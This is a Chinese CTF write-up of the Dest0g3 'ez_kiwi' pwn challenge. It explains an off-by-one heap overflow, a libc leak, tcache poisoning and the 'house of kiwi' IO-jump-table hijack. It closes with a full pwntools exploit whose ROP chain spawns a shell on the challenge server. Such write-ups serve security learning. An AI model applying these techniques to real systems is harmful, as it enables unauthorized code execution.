Dest0g3 520迎新赛 pwn ez_kiwi

漏洞分析

题目环境:glibc-2.31

如图在edit的过程中对重新输入的字符长度未有效检查,造成单字节溢出。

这时我们就可利用这一漏洞让堆块重叠,从而泄漏libc的地址

泄漏libc的地址首先想到的就是unsorted bin中的main_arena,由于存在tcache,必须释放8个大小相同才会进入unsorted bin;在add的过程中输入的idx可以小于0xf,但实际上超过9就无法正常申请,所以我们在申请释放时要小心堆块不够和top chunk的合并。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for i in range(6):          
   add(0xb0, i, b'a')
add(0x18, 6, b'a')
add(0x80, 7, b'a')
add(0x20, 8, b'a') #重叠的堆块
add(0xb0, 9, b'a') #先释放进入tcache,不会top chunk的合并
payload = b'a'*0x10+p64(0)+b'\xc1'
edit(6, payload)

for i in range(6):
   delete(i)
delete(9)
delete(7)
add(0x80, 1, b'a')
show(8)

这时就可以得到libc的地址。

1
2
leak = u64( p.recvuntil('\x7f')[-6:].ljust(8, b'\x00') )
libcbase = leak - 96 - 0x10 - libc.sym['__malloc_hook']

一般情况下我们会修改tcache的fd指针,指向__malloc_hook__free_hook,再次申请时就使用system或者one_gadget去填充该地址。但是这题故意不让你去这样去使用,每次重新开始循环时会调用clear函数将__malloc_hook__free_hook全部重置为0。

house of kiwi

这时我们就需要使用house of kiwi这种方式,修改_IO_file_sync_IO_helper_jumps中的值。

具体过程便是触发__malloc_assert后,去执行fflush (stderr),会使用_IO_file_jumps中的_IO_file_sync,RDX寄存器的值为IO_helper_jumps指针,RDX始终是一个固定的地址。

然后通过 setcontext 控制寄存器的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> disassemble setcontext
0x00007f38b563d0dd <+61>: mov rsp,QWORD PTR [rdx+0xa0]#利用代码
0x00007f38b563d0e4 <+68>: mov rbx,QWORD PTR [rdx+0x80]
0x00007f38b563d0eb <+75>: mov rbp,QWORD PTR [rdx+0x78]
0x00007f38b563d0ef <+79>: mov r12,QWORD PTR [rdx+0x48]
0x00007f38b563d0f3 <+83>: mov r13,QWORD PTR [rdx+0x50]
0x00007f38b563d0f7 <+87>: mov r14,QWORD PTR [rdx+0x58]
0x00007f38b563d0fb <+91>: mov r15,QWORD PTR [rdx+0x60]
0x00007f38b563d0ff <+95>: test DWORD PTR fs:0x48,0x2
0x00007f38b563d10b <+107>: je 0x7f38b563d1c6 <setcontext+294>
…………
…………
0x00007f38b563d1c6 <+294>: mov rcx,QWORD PTR [rdx+0xa8]#利用代码
0x00007f38b563d1cd <+301>: push rcx
0x00007f38b563d1ce <+302>: mov rsi,QWORD PTR [rdx+0x70]
0x00007f38b563d1d2 <+306>: mov rdi,QWORD PTR [rdx+0x68]
0x00007f38b563d1d6 <+310>: mov rcx,QWORD PTR [rdx+0x98]
0x00007f38b563d1dd <+317>: mov r8,QWORD PTR [rdx+0x28]
0x00007f38b563d1e1 <+321>: mov r9,QWORD PTR [rdx+0x30]
0x00007f38b563d1e5 <+325>: mov rdx,QWORD PTR [rdx+0x88]
0x00007f38b563d1ec <+332>: xor eax,eax
0x00007f38b563d1ee <+334>: ret

设置rdx + 0xa0来控制rsp,也就是控制了栈的地址,通过最后的ret指令就可以执行ROP。

攻击流程如下

_IO_file_jumps中的_IO_file_sync修改为setcontext + 61的地址,让程序执行setcontext中的代码;同时修改_IO_helper_jumps + 0xa0 和 _IO_helper_jumps + 0xa8分别存放有ROP的位置和ret指令的gadget位置。题目提供了libc文件,只需在libc中找到相应的gadget再加上libc的基地址即可,可以通过泄漏堆的地址来存放gadget。

具体实现

关于IO_helper_jumps的地址寻找:由于pwntools无法从文件直接得到IO_helper_jumps的信息,于是我们可以直接通过这道题提供的libc文件利用ida中找到偏移;但如果是从pwndbg中寻找,找到的地址并不是_IO_file_sync中所利用的那个地址,对比下图和上图就会发现需要-0xc0才是我们所需要的地址。

1
2
3
IO_file_jumps = libcbase + libc.sym['_IO_file_jumps']
setcontext = libcbase + libc.sym['setcontext']
IO_helper_jumps = libcbase + 2017632 - 0xc0

利用0x20大小的堆块重叠,可以修改tcache中的fd指针,就可对IO_file_jumps的地址修改,并泄漏堆的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x20, 2, b'a')
add(0x20, 3, b'a')
delete(3)
delete(8)
edit(2, p64(IO_file_jumps + 0x60)+ b'\n')
add(0x20, 3, b'a')
add(0x20, 4, p64(setcontext + 61) + b'\n')
add(0x20, 5, b'a')
delete(5)
delete(3)
show(2)
p.recvuntil(b'\n')
heap_addr = u64(p.recvuntil(b'\n')[-8:-2].ljust(8, b'\x00'))

使用ROPgadget 找到相应的gadget,利用系统调用去执行execve(“/bin/sh”,NULL,NULL) (储存/bin/sh的地址自己找好偏移即可)

1
2
3
4
5
6
7
8
ret = libcbase + 0x25679
pop_rax = libcbase + 0x4a550
pop_rdi = libcbase + 0x26b72
pop_rsi = libcbase + 0x27529
pop_rdx_r12 = libcbase + 0x11c371
syscall = libcbase + 0x2584d
rop = p64(pop_rdx_r12) + p64(0) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rdi)
rop += p64(heap_addr + 0x30) +p64(pop_rax) + p64(0x3b) +p64(syscall)

继续利用0x20大小的堆块重叠,去修改_IO_helper_jumps + 0xa0 和 _IO_helper_jumps + 0xa8中的地址。

1
2
3
4
5
6
delete(1)
delete(6)
add(0x80, 1, rop)
edit(2, p64(IO_helper_jumps + 0xa0)+ b'\n')
add(0x20, 3, b'a')
add(0x20, 5, p64(heap_addr -0x1b0) + p64(ret))

关于触发__malloc_assert:在top chunk不够使用时就使用sysmalloc,同时对top chunk进行一系列检查,这里我们不是为了绕过检查,而是故意让其不能通过检查。这里改变top chunk的大小,使其不能页对齐,并使用gift()函数申请0x25000大小的堆块。

1
2
3
4
add(0x28, 6, b'a')
payload = b'/bin/sh\x00' * 2 + p64(0) * 3+ b'\x00'
edit(6, payload)
gift()

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*
elf = ELF('ez_kiwi')
#libc = elf.libc
libc = ELF('libc.so.6')
#p=process('./ez_kiwi')
p = remote('node4.buuoj.cn', 27690)
context.log_level='debug'
p.sendlineafter(b'give me your name:\n', b'a')
def add(size,index,content):
p.sendlineafter(b'>>', b'1')
p.sendlineafter(b'How much do you want?', str(size).encode())
p.sendlineafter(b'Which one do you want to put?', str(index).encode())
p.sendlineafter(b'Tell me your idea:', content)
def delete(index):
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b'Which one do you want to remove?', str(index).encode())
def show(index):
p.sendlineafter(b'>>', b'3')
p.sendlineafter(b'Which one do you want to look?', str(index).encode())
def edit(index,content):
p.sendlineafter(b'>>', b'4')
p.sendlineafter(b'Which one do you want to change?', str(index).encode())
p.sendafter(b'Change your idea:', content)
def gift():
p.sendlineafter(b'>>', b'666')

for i in range(6):
add(0xb0, i, b'a')
add(0x18, 6, b'a')
add(0x80, 7, b'a')
add(0x20, 8, b'a')
add(0xb0, 9, b'a')
payload = b'a'*0x10+p64(0)+b'\xc1'
edit(6, payload)

for i in range(6):
delete(i)
delete(9)
delete(7)
add(0x80, 1, b'a')
show(8)

leak = u64( p.recvuntil('\x7f')[-6:].ljust(8, b'\x00') )
libcbase = leak - 96 - 0x10 - libc.sym['__malloc_hook']
IO_file_jumps = libcbase + libc.sym['_IO_file_jumps']
setcontext = libcbase + libc.sym['setcontext']
IO_helper_jumps = libcbase + 2017632 - 0xc0

add(0x20, 2, b'a')
add(0x20, 3, b'a')
delete(3)
delete(8)
edit(2, p64(IO_file_jumps + 0x60)+ b'\n')
add(0x20, 3, b'a')
add(0x20, 4, p64(setcontext + 61) + b'\n')
add(0x20, 5, b'a')
delete(5)
delete(3)
show(2)
p.recvuntil(b'\n')
heap_addr = u64(p.recvuntil(b'\n')[-8:-2].ljust(8, b'\x00'))


ret = libcbase + 0x25679
pop_rax = libcbase + 0x4a550
pop_rdi = libcbase + 0x26b72
pop_rsi = libcbase + 0x27529
pop_rdx_r12 = libcbase + 0x11c371
syscall = libcbase + 0x2584d
rop = p64(pop_rdx_r12) + p64(0) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rdi)
rop += p64(heap_addr + 0x30) +p64(pop_rax) + p64(0x3b) +p64(syscall)

delete(1)
delete(6)
add(0x80, 1, rop)
edit(2, p64(IO_helper_jumps + 0xa0)+ b'\n')
add(0x20, 3, b'a')
add(0x20, 5, p64(heap_addr -0x1b0) + p64(ret))
#add(0x80, 9, b'a')

add(0x28, 6, b'a')
payload = b'/bin/sh\x00' * 2 + p64(0) * 3+ b'\x00'
edit(6, payload)
gift()

#gdb.attach(p)
#pause()
p.interactive()

参考:House OF Kiwi - 安全客,安全资讯平台 (anquanke.com)


Dest0g3 520迎新赛 pwn ez_kiwi
https://xtxtn.github.io/2022/11/01/Dest0g3-520迎新赛-pwn-ez_kiwi/
作者
xtxtn
发布于
2022年11月1日
更新于
2022年11月5日
许可协议